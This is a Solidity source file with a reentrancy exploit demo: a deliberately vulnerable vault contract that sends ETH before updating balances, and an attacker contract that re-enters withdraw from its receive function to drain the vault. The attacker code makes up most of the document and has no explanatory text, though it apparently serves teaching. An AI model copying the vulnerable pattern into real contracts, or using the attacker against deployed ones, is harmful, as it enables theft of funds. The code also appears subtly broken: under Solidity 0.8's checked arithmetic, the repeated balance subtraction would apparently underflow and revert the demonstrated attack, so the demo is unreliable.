Reentrancy Exploit Demo

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "hardhat/console.sol";

contract VulnerableVault {
    mapping(address => uint256) public balances;
    uint256 public callDepth = 0;

    event Deposit(address indexed user, uint256 amount);
    event WithdrawStart(address indexed user, uint256 amount, uint256 depth);
    event WithdrawEnd(address indexed user, uint256 amount, uint256 depth);

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
        console.log("Deposited:", msg.value, "Balance:", balances[msg.sender]);
    }

    function withdraw(uint256 amount) external {
        callDepth++;
        emit WithdrawStart(msg.sender, amount, callDepth);
        console.log("=== WITHDRAW START ===");
        console.log("Call depth:", callDepth);
        console.log("Balance before:", balances[msg.sender]);
        console.log("Requesting amount:", amount);

        require(balances[msg.sender] >= amount, "Insufficient balance");

        console.log("Sending ETH to:", msg.sender);
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        console.log("ETH sent successfully, now updating balance...");
        balances[msg.sender] -= amount;

        console.log("Balance after:", balances[msg.sender]);
        console.log("=== WITHDRAW END ===");
        emit WithdrawEnd(msg.sender, amount, callDepth);
        callDepth--;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "hardhat/console.sol";

interface IVulnerableVault {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
    function balances(address user) external view returns (uint256);
}

contract Attacker {
    IVulnerableVault public vault;
    uint256 public constant ATTACK_AMOUNT = 0.1 ether;
    uint256 public receivedCount = 0;

    event AttackStart();
    event ReceivedETH(uint256 amount, uint256 count);

    constructor(address _vault) {
        vault = IVulnerableVault(_vault);
    }

    function attack() external payable {
        require(msg.value >= ATTACK_AMOUNT, "Need at least 0.1 ETH");
        emit AttackStart();
        console.log(">>> ATTACK STARTED <<<");
        console.log("Vault balance before:", address(vault).balance);

        vault.deposit{value: ATTACK_AMOUNT}();
        console.log("Deposited:", ATTACK_AMOUNT);

        vault.withdraw(ATTACK_AMOUNT);
        console.log(">>> ATTACK COMPLETE <<<");
        console.log("Vault balance after:", address(vault).balance);
        console.log("Attacker balance:", address(this).balance);
    }

    receive() external payable {
        receivedCount++;
        emit ReceivedETH(msg.value, receivedCount);
        console.log("--- RECEIVE TRIGGERED ---");
        console.log("Received ETH:", msg.value);
        console.log("Receive count:", receivedCount);
        console.log("Vault balance:", address(vault).balance);
        console.log("My balance in vault:", vault.balances(address(this)));

        if (address(vault).balance >= ATTACK_AMOUNT && receivedCount < 5) {
            console.log("REENTERING...");
            vault.withdraw(ATTACK_AMOUNT);
        } else {
            console.log("Stopping attack (vault empty or max depth reached)");
        }
    }

    function drain() external {
        payable(msg.sender).transfer(address(this).balance);
    }
}